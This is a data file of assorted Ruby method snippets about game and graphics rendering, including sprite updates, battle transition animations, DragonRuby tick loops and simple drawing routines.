"def update\r\n if @duration >= 1\r\n d = @duration\r\n @x = (@x * (d - 1) + @target_x) / d\r\n @y = (@y * (d - 1) + @target_y) / d\r\n @zoom_x = (@zoom_x * (d - 1) + @target_zoom_x) / d\r\n @zoom_y = (@zoom_y * (d - 1) + @target_zoom_y) / d\r\n @opacity = (@opacity * (d - 1) + @target_opacity) / d\r\n @duration -= 1\r\n end\r\n if @tone_duration >= 1\r\n d = @tone_duration\r\n @tone.red = (@tone.red * (d - 1) + @tone_target.red) / d\r\n @tone.green = (@tone.green * (d - 1) + @tone_target.green) / d\r\n @tone.blue = (@tone.blue * (d - 1) + @tone_target.blue) / d\r\n @tone.gray = (@tone.gray * (d - 1) + @tone_target.gray) / d\r\n @tone_duration -= 1\r\n end\r\n if @rotate_speed != 0\r\n @angle += @rotate_speed / 2.0\r\n while @angle < 0\r\n @angle += 360\r\n end\r\n @angle %= 360\r\n end\r\n end",
"def setup_add_plane\n return TSBS.error(@acts[0], 3, @used_sequence) if @acts.size < 3\n file = @acts[1]\n sox = @acts[2] # Scroll X\n soy = @acts[3] # Scroll Y \n z = (@acts[4] ? Graphics.height + 10 : 4)\n dur = @acts[5] || 2\n opac = @acts[6] || 255\n get_spriteset.battle_plane.set(file,sox,soy,z,dur,opac)\n end",
"def show_volume_lines(view, entities)\n # get rays to the 4 corners of the viewing area\n transform = CameraRep.get_transform_from_view(view).inverse\n #length = self.distance_to_back(view)\n #pts = []\n for i in 0..3\n ray = view.pickray(view.corner(i))\n dir = ray[1].transform(transform)\n line = entities.add_cline ORIGIN, dir, \"...\"\n line.start = ORIGIN\n #pts[i] = ORIGIN.offset dir, length\n #entities.add_cline ORIGIN, pts[i], \"...\"\n #if( i > 0 )\n # entities.add_cline pts[i-1], pts[i], \"...\"\n #end\n end\n #entities.add_cline pts[3], pts[0], \"...\"\nend",
"def draw\n # snake head\n Image.new('img/SnakeHead.png',\n x: head[0] * GRID_SIZE,\n y: head[1] * GRID_SIZE)\n # snake tail\n @positions[0..-2].each do |position|\n Circle.new(x: position[0] * GRID_SIZE + GRID_SIZE / 2,\n y: position[1] * GRID_SIZE + GRID_SIZE / 2,\n radius: GRID_SIZE / 2 - 1,\n color: 'blue')\n end\n end",
"def update_graphics\n @spriteset.update\n end",
"def create_spriteset_and_background\n super(ext_text(8997, 19))\n end",
"def draw_horizontal_line(png, color, yPosition = 0)\n\tpng.polygon([0, yPosition, png.width, yPosition], color)\nend",
"def draw\n if @dir == :left\n @cur_image = @stand_r\n offs_x = -25\n @offset = :left\n # elsif @vy < 0\n # @cur_image = @jump\n else\n @cur_image = @stand\n offs_x = 25\n end\n @cur_image.draw(@x, @y, 1, 1.0)\n end",
"def line_image\n \"%s%s%s %s%s%s %s%s%s\" % POT.collect{ |i| own(i) }\n end",
"def setup\n size 200, 200\n @a = load_image 'construct.jpg'\n @b = load_image 'wash.jpg'\n @offset = 0.0\nend",
"def screen_terrain\n xs, ys = step_effects_display_array\n $game_map.terrain_tag(xs/32, ys/32)\n end",
"def initialize(x, y, args)\n speed_values = args.state.speed_values\n @x_vel = speed_values[rand(speed_values.length)]\n @y_vel = speed_values[rand(speed_values.length)]\n @truex = x - @x_vel\n @truey = y - @y_vel\n @w = 10\n @h = 10\n @x = x - (@w / 2)\n @y = y - (@h / 2)\n @r = 255\n @g = 255\n @b = 255\n @a = 2558\n @path = 'sprites/black.png'\n args.outputs.static_sprites << self\n end",
"def tick(args)\n \n # SETUP :\n setup(args) unless args.state.setup_done\n\n # MAIN LOOP :\n \n # 1. GAME LOGIC :\n\n #args.state.scene.bodies.each do |body|\n # body.rotate_absolute( { :x => args.state.angle, :y => 2*args.state.angle, :z => 1.5*args.state.angle } )\n\n # args.state.camera.rotate_y args.state.camera_angle\n # args.state.angle += 0.01\n #end\n\n args.state.scene.bodies[0].translate(0.0, 0.0, 0.25)\n if args.state.scene.bodies[0].z >= -46.0 then\n args.state.scene.bodies[0].move_to(0.0, -6.0, -50.0)\n end\n\n\n # 2. RENDERING :\n args.outputs.solids << [0, 0, 1280, 306, 0, 0, 231]\n args.outputs.solids << [0, 306, 1280, 719, 180, 180, 231]\n\n render_list = []\n args.state.scene.bodies.each do |body|\n body.vertices.each { |vertex| vertex.compute_world_coordinates(body.world_matrix) }\n\n args.state.renderer.project_vertices(body.vertices)\n render_list << body.vertices.select { |vertex| vertex.in_frustum }\n end\n\n ordered_render_list = render_list.flatten.sort_by { |v| v.view.z }.reverse\n\n ordered_render_list.each do |vertex|\n #sprite_width = ( SPRITE_SCALE * vertex.width / vertex.view.z.abs ).to_i \n #sprite_height = ( SPRITE_SCALE * vertex.height / vertex.view.z.abs ).to_i \n #sprite_x_offset = sprite_width / 2\n #sprite_y_offset = sprite_height / 2\n #args.outputs.sprites << [vertex.screen_x - sprite_x_offset,\n # vertex.screen_y - sprite_y_offset,\n # sprite_width,\n # sprite_height,\n # vertex.file]\n vertex.update(SPRITE_SCALE)\n args.outputs.sprites << vertex\n end\n\n #args.outputs.sprites << ordered_render_list.map { |vertex| vertex.update(SPRITE_SCALE); vertex }\n\n # DEBUG :\n args.outputs.labels << [10, 30, \"FPS: #{args.gtk.current_framerate.to_s.to_i}\", 0, 0, 0, 255]\n #args.state.frame_counter -= 1\nend",
"def tb_hl_follow(rel_points)\n p = $game_player\n x, y = p.real_x, p.real_y\n \n return unless x != @tlx || y != @tly\n \n ok = [email protected]? && [email protected]?\n @spriteset.remove_group(TB_AOE)\n rel_points.each{ |v| @spriteset.add_highlight_tb(x+v.x,y+v.y,nil,false,:attack_2, TB_AOE) } \n @tlx, @tly = x, y\n end",
"def draw_line(start_x, start_y, end_x, end_y, image)\n line = Magick::Draw.new\n line.polyline(start_x, start_y, end_x, end_y)\n line.draw(image)\nend",
"def draw_witch(x)\n move_to_top\n @witch.each do |line|\n line_at x, line\n end\n end",
"def spot_legs\n lines = []\n indent = 0\n spacer = @width - @padding\n\n draw_legs(lines, indent, spacer)\n lines\n end",
"def draw_line_preview(view)\n plane = [@compass_position, Z_AXIS]\n projected = @input_point.position.project_to_plane(plane)\n\n # Copying visual style from Rotate tool.\n view.set_color_from_line(projected, @compass_position)\n view.line_stipple = \"_\"\n view.draw(GL_LINES, [@compass_position, projected])\n\n view.line_stipple = \"-\"\n view.drawing_color = \"gray\"\n view.draw(GL_LINES, [@input_point.position, projected])\n end",
"def drawVolcanicAsh\n # apply sky tone\n if @sprites[\"sky\"]\n @sprites[\"sky\"].tone.all -= 4 if @sprites[\"sky\"].tone.all > -100\n @sprites[\"sky\"].tone.gray += 16 if @sprites[\"sky\"].tone.gray < 128\n for i in 0..1\n @sprites[\"cloud#{i}\"].tone.all -= 4 if @sprites[\"cloud#{i}\"].tone.all > -100\n @sprites[\"cloud#{i}\"].tone.gray += 16 if @sprites[\"cloud#{i}\"].tone.gray < 128\n end\n end\n for j in 0...72\n next if @sprites[\"w_volc#{j}\"]\n @sprites[\"w_volc#{j}\"] = Sprite.new(@viewport)\n @sprites[\"w_volc#{j}\"].create_rect(5, 5, Color.black)\n @sprites[\"w_volc#{j}\"].default!\n @sprites[\"w_volc#{j}\"].angle = 90\n @sprites[\"w_volc#{j}\"].oy = 2\n @sprites[\"w_volc#{j}\"].opacity = 0\n end\n end",
"def blit_layers(sx, sy, sw, sh, surface, dx, dy)\n @tmx.layers.each {|name, layer|\n blit_layer(name, sx, sy, sw, sh, surface, dx, dy)\n }\n end",
"def draw_line; draw_horizontal_line(@draw_y + (line_height / 2) - 1, 2); end",
"def blit; end",
"def create_weapon_show (mirror, x, y, z, angle)\n @spr = Sprite.new\n @spr.bitmap = Cache.character(FalInt::GunSnipe) \n dx = ($game_map.adjust_x($game_player.x)*32 ) + x\n dy = ($game_map.adjust_y($game_player.y)*32 ) + y \n @spr.x = dx \n @spr.y = dy \n @spr.z = z \n @spr.angle = angle \n @spr.mirror = mirror\n @spr.src_rect = Rect.new( 0 , 0 , 29, 10) \n end",
"def move_background\n self.enumerateChildNodesWithName \"skyline\", usingBlock: -> (node, stop) {\n velocity = CGPointMake(-20, 0)\n movement_amount = CGPointMake(velocity.x * @delta, velocity.y * @delta)\n node.position = CGPointMake(node.position.x + movement_amount.x, node.position.y + movement_amount.y)\n\n if node.position.x <= -node.size.width / 2\n node.position = CGPointMake((node.position.x + node.size.width) * 2, node.position.y)\n end\n }\n end",
"def render_half(args,out,top_x,top_y, side_x,side_y,bottom_y,offx,offslope, tile)\n\n tilew = args.state.tilew\n\n # Combined slope of the top and bottom lines of the triangle formed\n # by this half of the quad. Effectively the amount of\n # *shear* we apply to the triangle.\n\n slope = (top_y+bottom_y-2*side_y)/(2*side_x-2*top_x)*tilew/64\n a = (0.5-slope) * 255 + 64\n a = 128 if a < 128\n\n # For each x positin in the triangle....\n xr = [top_x,side_x]\n (xr.min .. xr.max).each do |stripx|\n dx = (stripx-xr.min)*64/tilew\n h = (top_y-bottom_y)\n\n # ... render a 1 pixel wide strip of the tile texture.\n # \"offslope\" is an offset to account for rendering direction.\n out.sprites << {\n x: stripx,\n y: top_y-h-dx*slope+offslope*slope,\n w: 1,\n h: h,\n a: a,\n tile_x: offx+dx,\n tile_w: 1,\n path: \"sprites/#{tile}.png\"\n }\n end\nend",
"def set_linea_uv\n @linea_uv = LineaUv.find(params[:id])\n end",
"def anim2\n # take screenshot and draw black background\n bmp = Graphics.snap_to_bitmap\n black = Sprite.new(@viewport)\n black.bitmap = Bitmap.new(@viewport.width, @viewport.height)\n black.bitmap.fill_rect(0, 0, @viewport.width, @viewport.height, Color.black)\n # split screenshot into two halves\n field1 = Sprite.new(@viewport)\n field1.bitmap = Bitmap.new(@viewport.width, @viewport.height)\n field1.bitmap.blt(0, 0, bmp, @viewport.rect)\n field1.src_rect.height = @viewport.height/2\n field2 = Sprite.new(@viewport)\n field2.bitmap = field1.bitmap.clone\n field2.y = @viewport.height/2\n field2.src_rect.height = @viewport.height/2\n field2.src_rect.y = @viewport.height/2\n # draw ballsprites for transition\n ball1 = Sprite.new(@viewport)\n ball1.bitmap = pbBitmap(\"Graphics/EBDX/Transitions/Common/ball\")\n ball1.center!\n ball1.x = @viewport.width + ball1.ox\n ball1.y = @viewport.height/4\n ball1.zoom_x = 0.5\n ball1.zoom_y = 0.5\n ball2 = Sprite.new(@viewport)\n ball2.bitmap = pbBitmap(\"Graphics/EBDX/Transitions/Common/ball\")\n ball2.center!\n ball2.y = (@viewport.height/4)*3\n ball2.x = -ball2.ox\n ball2.zoom_x = 0.5\n ball2.zoom_y = 0.5\n # move ballsprites on screen\n 16.delta_add.times do\n ball1.x -= (@viewport.width/8)/self.delta\n ball2.x += (@viewport.width/8)/self.delta\n pbWait(1)\n end\n # move screenshots\n 32.delta_add.times do\n field1.x -= (@viewport.width/16)/self.delta\n field1.y -= (@viewport.height/32)/self.delta\n field2.x += (@viewport.width/16)/self.delta\n field2.y += (@viewport.height/32)/self.delta\n pbWait(1)\n end\n @viewport.color = Color.black\n # dispose unused sprites\n black.dispose\n ball1.dispose\n ball2.dispose\n field1.dispose\n field2.dispose\n end",
"def polyline points, options, &block\n \n # build a line\n line = Line.new options[:name]\n \n # build up a points float buffer\n pbuf = BufferUtils.createVector3Buffer(points.length / 2)\n puts \"arrived\"\n c = 0\n points.each do |v|\n pbuf.put v\n c += 1\n pbuf.put 0 if c % 2 == 0\n end\n \n # set the width\n if options.has_key? :line_width\n line.set_line_width(options[:line_width])\n end\n \n # set up the colors\n if options.has_key? :colors\n line.set_color_buffer(BufferUtils.create_float_buffer(options[:colors].to_java ColorRGBA))\n elsif options.has_key? :color\n line.set_default_color(options[:color])\n end\n \n #textures\n if options.has_key? :texture_points\n buffer = BufferUtils.createVector2Buffer options[:texture_points].length\n buffer.put options[:texture_points]\n line.set_texture_coords(TexCoords.new(buffer))\n end\n \n # index buffer\n ibuf = BufferUtils.createIntBuffer((0..(points.length / 2) - 1).to_a.to_java :int)\n \n # finish building the quad\n line.reconstruct(pbuf, nil, line.get_color_buffer, line.get_texture_coords[0])\n line.set_index_buffer ibuf\n \n # block invoke\n line.instance_eval(&block) if block\n \n line\n end",
"def create_background\n @background_sprite = Plane.new\n @background_sprite.bitmap = Cache.parallax(Settings::REGISTR_WALLPAPER)\n @background_sprite.x_speed = 1\n @background_sprite.y_speed = 1\n end",
"def draw size, x_offset, y_offset\n image = @images[0]\n\n px = @x * size\n py = @y * size\n\n if @direction == :left\n image = @images[0]\n # @direction == :right\n else\n image = @images[2]\n end\n\n image.draw(px - x_offset, py - y_offset, 0, size, size)\n drawHealth @health, size, px - x_offset, py - y_offset\n\n end",
"def command_forge\n make_item\n play_animation\n end",
"def tick_main_sequence\n @avatar.assign(@tileset.sprite_for(@avatar.cur_tile)) if @avatar.tick\n @camera.start_following(@avatar) if @avatar.walking\n @avatar.reposition(*@camera.follow)\n @map.change_tiles(*@camera.pos)\n end",
"def render args\n if (args.state.player.dx < 0.01) && (args.state.player.dx > -0.01)\n args.state.player.dx = 0\n end\n\n #move list\n (args.layout.rect_group row: 0, col_from_right: 8, drow: 0.3,\n merge: { vertical_alignment_enum: 0, size_enum: -2 },\n group: [\n { text: \"move: WASD\" },\n { text: \"jump: Space\" },\n { text: \"attack forwards: J (while on ground\" },\n { text: \"attack upwards: K (while on groud)\" },\n { text: \"attack backwards: J (while on ground and holding A)\" },\n { text: \"attack downwards: K (while in air)\" },\n { text: \"dash attack: J, K in quick succession.\" },\n { text: \"shield: hold J, K at the same time.\" },\n { text: \"dash backwards: A, A in quick succession.\" },\n ]).into args.outputs.labels\n\n # registered moves\n args.outputs.labels << { x: 0.to_layout_col,\n y: 0.to_layout_row,\n text: \"input history\",\n size_enum: -2,\n vertical_alignment_enum: 0 }\n\n (args.state.inputlist.take(5)).map do |s|\n { text: s, size_enum: -2, vertical_alignment_enum: 0 }\n end.yield_self do |group|\n (args.layout.rect_group row: 0.3, col: 0, drow: 0.3, group: group).into args.outputs.labels\n end\n\n\n #sprites\n player = [args.state.player.x, args.state.player.y,\n args.state.player.w, args.state.player.h,\n \"sprites/square/white.png\",\n args.state.player.r]\n\n playershield = [args.state.player.x - 20, args.state.player.y - 10,\n args.state.player.w + 20, args.state.player.h + 20,\n \"sprites/square/blue.png\",\n args.state.player.r,\n 0]\n\n playerjab = [args.state.player.x + 32, args.state.player.y,\n args.state.player.w, args.state.player.h,\n \"sprites/isometric/indigo.png\",\n args.state.player.r,\n 0]\n\n playerupper = [args.state.player.x, args.state.player.y + 32,\n args.state.player.w, args.state.player.h,\n \"sprites/isometric/indigo.png\",\n args.state.player.r+90,\n 0]\n\n if ((args.state.tick_count - args.state.lastpush) <= 15)\n if (args.state.inputlist[0] == \"<<\")\n player = [args.state.player.x, args.state.player.y,\n args.state.player.w, args.state.player.h,\n \"sprites/square/yellow.png\", args.state.player.r]\n end\n\n if (args.state.inputlist[0] == \"shield\")\n player = [args.state.player.x, args.state.player.y,\n args.state.player.w, args.state.player.h,\n \"sprites/square/indigo.png\", args.state.player.r]\n\n playershield = [args.state.player.x - 10, args.state.player.y - 10,\n args.state.player.w + 20, args.state.player.h + 20,\n \"sprites/square/blue.png\", args.state.player.r, 50]\n end\n\n if (args.state.inputlist[0] == \"back-attack\")\n playerjab = [args.state.player.x - 20, args.state.player.y,\n args.state.player.w - 10, args.state.player.h,\n \"sprites/isometric/indigo.png\", args.state.player.r, 255]\n end\n\n if (args.state.inputlist[0] == \"forward-attack\")\n playerjab = [args.state.player.x + 32, args.state.player.y,\n args.state.player.w, args.state.player.h,\n \"sprites/isometric/indigo.png\", args.state.player.r, 255]\n end\n\n if (args.state.inputlist[0] == \"up-attack\")\n playerupper = [args.state.player.x, args.state.player.y + 32,\n args.state.player.w, args.state.player.h,\n \"sprites/isometric/indigo.png\", args.state.player.r + 90, 255]\n end\n\n if (args.state.inputlist[0] == \"dair\")\n playerupper = [args.state.player.x, args.state.player.y - 32,\n args.state.player.w, args.state.player.h,\n \"sprites/isometric/indigo.png\", args.state.player.r + 90, 255]\n end\n\n if (args.state.inputlist[0] == \"dash-attack\")\n playerupper = [args.state.player.x, args.state.player.y + 32,\n args.state.player.w, args.state.player.h,\n \"sprites/isometric/violet.png\", args.state.player.r + 90, 255]\n\n playerjab = [args.state.player.x + 32, args.state.player.y,\n args.state.player.w, args.state.player.h,\n \"sprites/isometric/violet.png\", args.state.player.r, 255]\n end\n end\n\n args.outputs.sprites << playerjab\n args.outputs.sprites << playerupper\n args.outputs.sprites << player\n args.outputs.sprites << playershield\n\n args.outputs.solids << 20.map_with_index do |i| # uses 20 squares to form bridge\n [i * 64, args.state.bridge_top - 64, 64, 64]\n end\nend",
"def didMoveToView _\n # Set the aspect ratio.\n self.scaleMode = SKSceneScaleModeAspectFit\n \n # Set the background color to black.\n self.backgroundColor = UIColor.blackColor\n \n $scene = self\n\n # Add a label to the scene.\n # A little bit of context. The primary class that is used to construct a label\n # is called SKLabelNode. Unfortunately, SKLabelNode does not support multiline text,\n # so some supporting classes have been included to help you create multiline labels,\n # specifically StringWrapper and the `add_label` method. Fun huh?\n add_label <<-HERE\n HERE\n\n @camera = Camera.new self\n @camera.scale_rate = 0.1\n\n # Add sprite (which will be updated in the render loop).\n # Assets are located inside of the resources folder.\n @logo = add_sprite device_screen_width.fdiv(2),\n device_screen_height.fdiv(2),\n 'DVD_Logo.png'\n\n @logo.xScale = 0.5\n @logo.yScale = 0.5\n @logo.colorBlendFactor = 1.0\n @velocity = CGPointMake 1.5, 1.5\n end",
"def tick args\n args.state.angle ||= 0 # initializes angle to 0\n args.state.angle += 1 # increments angle by 1 every frame (60 times a second)\n\n # Outputs sprite using a hash\n args.outputs.sprites << {\n x: 30, # sprite position\n y: 550,\n w: 128, # sprite size\n h: 101,\n path: \"dragonruby.png\", # image path\n angle: args.state.angle, # angle\n a: 255, # alpha (transparency)\n r: 255, # color saturation\n g: 255,\n b: 255,\n tile_x: 0, # sprite sub division/tile\n tile_y: 0,\n tile_w: -1,\n tile_h: -1,\n flip_vertically: false, # don't flip sprite\n flip_horizontally: false,\n angle_anchor_x: 0.5, # rotation center set to middle\n angle_anchor_y: 0.5\n }\n\n # Outputs label using a hash\n args.outputs.labels << {\n x: 200, # label position\n y: 550,\n text: \"dragonruby\", # label text\n size_enum: 2,\n alignment_enum: 1,\n r: 155, # color saturation\n g: 50,\n b: 50,\n a: 255, # transparency\n font: \"fonts/manaspc.ttf\" # font style; without mentioned file, label won't output correctly\n }\n\n # Outputs solid using a hash\n # [X, Y, WIDTH, HEIGHT, RED, GREEN, BLUE, ALPHA]\n args.outputs.solids << {\n x: 400, # position\n y: 550,\n w: 160, # size\n h: 90,\n r: 120, # color saturation\n g: 50,\n b: 50,\n a: 255 # transparency\n }\n\n # Outputs border using a hash\n # Same parameters as a solid\n args.outputs.borders << {\n x: 600,\n y: 550,\n w: 160,\n h: 90,\n r: 120,\n g: 50,\n b: 50,\n a: 255\n }\n\n # Outputs line using a hash\n args.outputs.lines << {\n x: 900, # starting position\n y: 550,\n x2: 1200, # ending position\n y2: 550,\n r: 120, # color saturation\n g: 50,\n b: 50,\n a: 255 # transparency\n }\n\n # Outputs sprite as a primitive using a hash\n args.outputs.primitives << {\n x: 30, # position\n y: 200,\n w: 128, # size\n h: 101,\n path: \"dragonruby.png\", # image path\n angle: args.state.angle, # angle\n a: 255, # transparency\n r: 255, # color saturation\n g: 255,\n b: 255,\n tile_x: 0, # sprite sub division/tile\n tile_y: 0,\n tile_w: -1,\n tile_h: -1,\n flip_vertically: false, # don't flip\n flip_horizontally: false,\n angle_anchor_x: 0.5, # rotation center set to middle\n angle_anchor_y: 0.5\n }.sprite!\n\n # Outputs label as primitive using a hash\n args.outputs.primitives << {\n x: 200, # position\n y: 200,\n text: \"dragonruby\", # text\n size: 2,\n alignment: 1,\n r: 155, # color saturation\n g: 50,\n b: 50,\n a: 255, # transparency\n font: \"fonts/manaspc.ttf\" # font style\n }.label!\n\n # Outputs solid as primitive using a hash\n args.outputs.primitives << {\n x: 400, # position\n y: 200,\n w: 160, # size\n h: 90,\n r: 120, # color saturation\n g: 50,\n b: 50,\n a: 255 # transparency\n }.solid!\n\n # Outputs border as primitive using a hash\n # Same parameters as solid\n args.outputs.primitives << {\n x: 600, # position\n y: 200,\n w: 160, # size\n h: 90,\n r: 120, # color saturation\n g: 50,\n b: 50,\n a: 255 # transparency\n }.border!\n\n # Outputs line as primitive using a hash\n args.outputs.primitives << {\n x: 900, # starting position\n y: 200,\n x2: 1200, # ending position\n y2: 200,\n r: 120, # color saturation\n g: 50,\n b: 50,\n a: 255 # transparency\n }.line!\nend",
"def update\n return if disposed?\n return dispose if @map_id != $game_map.map_id\n\n dx = $game_map.display_x / 8\n dy = $game_map.display_y / 8\n @sprite.x = (@x - dx)\n @sprite.y = (@y - dy)\n @sprite.z = (@real_y - $game_map.display_y + 4) / 4 + 94\n end",
"def update_arrows_enemy(index)\n @arrows[index].x = @arrows[index].enemy.actual_x\n @arrows[index].y = @arrows[index].enemy.actual_y\n end",
"def SS0_1 args\r\n\targs.state.tick_timer ||= args.state.tick_count\r\n\r\n\targs.outputs.sprites << [0, 0, 1280, 720, \"sprites/Intro-Background-1.png\"]\r\n\r\n\tif args.state.tick_count >= (args.state.tick_timer + 60) && args.state.tick_count < (args.state.tick_timer + 68)\r\n\t\targs.outputs.sprites << [0, 0, 1280, 720, \"sprites/Intro-Background-2.png\"]\r\n\tend\r\n\r\n\tif args.state.tick_count >= (args.state.tick_timer + 83) && args.state.tick_count < (args.state.tick_timer + 91)\r\n\t\targs.outputs.sprites << [0, 0, 1280, 720, \"sprites/Intro-Background-3.png\"]\r\n\tend\r\n\r\n\r\n\t#After moving characters finished, transition to SS0_2\r\n\tif args.state.tick_count >= (args.state.tick_timer + 160)\r\n\t\targs.state.tick_timer = nil\r\n\t\targs.state.screen_select = 0.2\r\n\tend\r\nend",
"def setup \n size 640, 360\n @arm = SpinArm.new width/2, height/2, 0.01\n @spots = SpinSpots.new width/2, height/2, -0.02, 90.0\nend",
"def draw_line(index)\n rect = Rect.new(0, 0, 0, 0)\n rect.x += 4\n rect.y += index * WLH\n rect.width = contents.width - 8\n rect.height = WLH\n self.contents.clear_rect(rect)\n self.contents.font.color = normal_color\n self.contents.draw_text(rect, @lines[index])\n end",
"def create_arrows\n bx, by = 80, 16\n bw, bh = 8, 16\n 2.times do |i|\n sprite = Sprite.new(@viewport2)\n sprite.bitmap = Bitmap.new(bw, bh)\n sx = (i == 0 ? bx : (bx + bw + bh)) # 0 for left, 1 for right arrow\n rect = Rect.new(sx, by + bw, bw, bh)\n sprite.bitmap.blt(0, 0, self.windowskin, rect)\n sprite.y = self.y + (window_height - bh) - spacing * 4 \n sprite.x = i == 0 ? self.x + 2 : self.x + window_width - bw\n @arrow_sprites.push(sprite.hide)\n end\n end",
"def draw\r\n draw_background\r\n draw_h(@balls)\r\n end",
"def update_memory!(mem)\n map = @game.map\n \n x_s = @x-@vision\n y_s = @y-@vision\n @fov = linecast(map.tiles.get_values(x_s,y_s,2*@vision,2*@vision))\n mem.ins_values(x_s, y_s, @fov, false)\n end",
"def rainbowIntro(viewport=nil)\n @viewport = viewport if !@viewport && !viewport.nil?\n @sprites = {} if !@sprites\n # takes screenshot\n bmp = Graphics.snap_to_bitmap\n # creates non-blurred overlay\n @sprites[\"bg1\"] = Sprite.new(@viewport)\n @sprites[\"bg1\"].bitmap = Bitmap.new(@viewport.width, @viewport.height)\n @sprites[\"bg1\"].bitmap.blt(0, 0, bmp, @viewport.rect)\n @sprites[\"bg1\"].center!(true)\n # creates blurred overlay\n @sprites[\"bg2\"] = Sprite.new(@viewport)\n @sprites[\"bg2\"].bitmap = @sprites[\"bg1\"].bitmap.clone\n @sprites[\"bg2\"].blur_sprite(3)\n @sprites[\"bg2\"].center!(true)\n @sprites[\"bg2\"].opacity = 0\n # creates rainbow rings\n for i in 1..2\n z = [0.35, 0.1]\n @sprites[\"glow#{i}\"] = Sprite.new(@viewport)\n @sprites[\"glow#{i}\"].bitmap = pbBitmap(\"Graphics/EBDX/Transitions/Common/glow\")\n @sprites[\"glow#{i}\"].ox = @sprites[\"glow#{i}\"].bitmap.width/2\n @sprites[\"glow#{i}\"].oy = @sprites[\"glow#{i}\"].bitmap.height/2\n @sprites[\"glow#{i}\"].x = @viewport.width/2\n @sprites[\"glow#{i}\"].y = @viewport.height/2\n @sprites[\"glow#{i}\"].zoom_x = z[i-1]\n @sprites[\"glow#{i}\"].zoom_y = z[i-1]\n @sprites[\"glow#{i}\"].opacity = 0\n end\n # main animation\n for i in 0...32.delta_add\n # zooms in the two screenshots\n @sprites[\"bg1\"].zoom_x += 0.02/self.delta\n @sprites[\"bg1\"].zoom_y += 0.02/self.delta\n @sprites[\"bg2\"].zoom_x += 0.02/self.delta\n @sprites[\"bg2\"].zoom_y += 0.02/self.delta\n # fades in the blurry screenshot\n @sprites[\"bg2\"].opacity += 12/self.delta\n # fades to white\n if i >= 16.delta_add\n @sprites[\"bg2\"].tone.all += 16/self.delta\n end\n # zooms in rainbow rings\n if i >= 28.delta_add\n @sprites[\"glow1\"].opacity += 64/self.delta\n @sprites[\"glow1\"].zoom_x += 0.02/self.delta\n @sprites[\"glow1\"].zoom_y += 0.02/self.delta\n end\n Graphics.update\n end\n @viewport.color = Color.new(255, 255, 255, 0)\n # second part of animation\n for i in 0...48.delta_add\n # zooms in rainbow rings\n @sprites[\"glow1\"].zoom_x += 0.02/self.delta\n @sprites[\"glow1\"].zoom_y += 0.02/self.delta\n if i >= 8.delta_add\n @sprites[\"glow2\"].opacity += 64/self.delta\n @sprites[\"glow2\"].zoom_x += 0.02/self.delta\n @sprites[\"glow2\"].zoom_y += 0.02/self.delta\n end\n # fades viewport to white\n if i >= 32.delta_add\n @viewport.color.alpha += 16/self.delta\n end\n Graphics.update\n end\n @viewport.color = Color.white\n # disposes of the elements\n pbDisposeSpriteHash(@sprites)\n EliteBattle.set(:colorAlpha, 255)\n return true\n end",
"def draw_required_materials\n draw_bg_rect(0, line_rect(1).y)\n change_color(system_color)\n draw_text(line_rect(1), Vocab.materials_needed)\n (0..product.materials.size-1).each{|i|\n draw_material(product.materials[i], i + 2)\n }\n product.materials.size + 2\n end",
"def update\n return if self.disposed?\n @viewport.color.alpha -= 8 if @viewport.color.alpha > 0\n @sprites[\"bg\"].update\n @sprites[\"streak\"].update\n @sprites[\"shine\"].opacity += 16/self.delta if @sprites[\"shine\"].opacity < 255\n @sprites[\"shine\"].angle += 8/self.delta if $PokemonSystem.screensize < 2\n @sprites[\"shine\"].zoom_x -= 0.04*@sprites[\"shine\"].toggle/self.delta\n @sprites[\"shine\"].zoom_y -= 0.04*@sprites[\"shine\"].toggle/self.delta\n @sprites[\"shine\"].toggle *= -1 if @sprites[\"shine\"].zoom_x <= 0.8 || @sprites[\"shine\"].zoom_x >= 1.2\n return if !@started\n @sprites[\"vs\"].x += @sprites[\"vs\"].toggle\n @sprites[\"vs\"].y += @sprites[\"vs\"].toggle\n @sprites[\"vs\"].toggle *= -1 if (@sprites[\"vs\"].x - 92).abs >= 2*self.delta\n end",
"def load_frames\n\t\tw,h = @_w, @_h # convenience assignments\n\t\twt = 0.8 * w\n\t\tdw = 0.5 * (w-wt) \n\t img = Surface.new([w,h]).fill(@@bg_color)\n\t img.draw_polygon_s([[0,h], [dw,0], [dw+wt,0], [w,h],[0,h]], BROWN)\n\t return [img]\n\tend",
"def setup\n size 640, 360, P3D\n @img = load_image 'berlin-1.jpg'\n no_stroke\nend",
"def update_properties\r\n if @picture.origin == 0\r\n set_origin(0, 0)\r\n else\r\n set_origin(bitmap.width / 2, bitmap.height / 2)\r\n end\r\n set_position(@picture.x, @picture.y)\r\n self.z = @picture.number\r\n self.zoom_x = @picture.zoom_x / 100.0\r\n self.zoom_y = @picture.zoom_y / 100.0\r\n self.opacity = @picture.opacity\r\n shader.blend_type = @picture.blend_type\r\n self.angle = @picture.angle\r\n tone = @picture.tone\r\n unless tone.eql?(@current_tone)\r\n shader.set_float_uniform('tone', tone)\r\n @current_tone = tone.clone\r\n end\r\n end",
"def update_arrows(index)\n @arrows[index].x = @arrows[index].enemy.actual_x\n @arrows[index].y = @arrows[index].enemy.actual_y\n end",
"def how_to_render_sprites args\n # Loop 10 times and create 10 sprites in 10 positions\n # Render a sprite at the bottom left with a width and height of 5 and a path of 'sprites/monochrome-ship.png'\n 10.times do |i|\n args.nokia.sprites << {\n x: i * 8.4,\n y: i * 4.8,\n w: 5,\n h: 5,\n path: 'sprites/monochrome-ship.png'\n }\n end\n\n # Given an array of positions create sprites\n positions = [\n { x: 20, y: 32 },\n { x: 45, y: 15 },\n { x: 72, y: 23 },\n ]\n\n positions.each do |position|\n # use Ruby's ~Hash#merge~ function to create a sprite\n args.nokia.sprites << position.merge(path: 'sprites/monochrome-ship.png',\n w: 5,\n h: 5)\n end\nend",
"def update_src_rect\n if @tile_id == 0\n #index = @character.character_index : le personnage possède tout son sprite\n pattern = @character.pattern < 8 ? @character.pattern : 1 #@TODO : change pattern calculation (pattern represents one column)\n sx = pattern * @cw #@TODO test sprite complet, replace (index % 4 * 3 + pattern) * @cw\n sy = ((@character.direction - 2) / 2) * @ch\n self.src_rect.set(sx, sy, @cw, @ch)\n end\n end",
"def continue\n @victory = false\n @level += 1\n drawFromPixmap\n end",
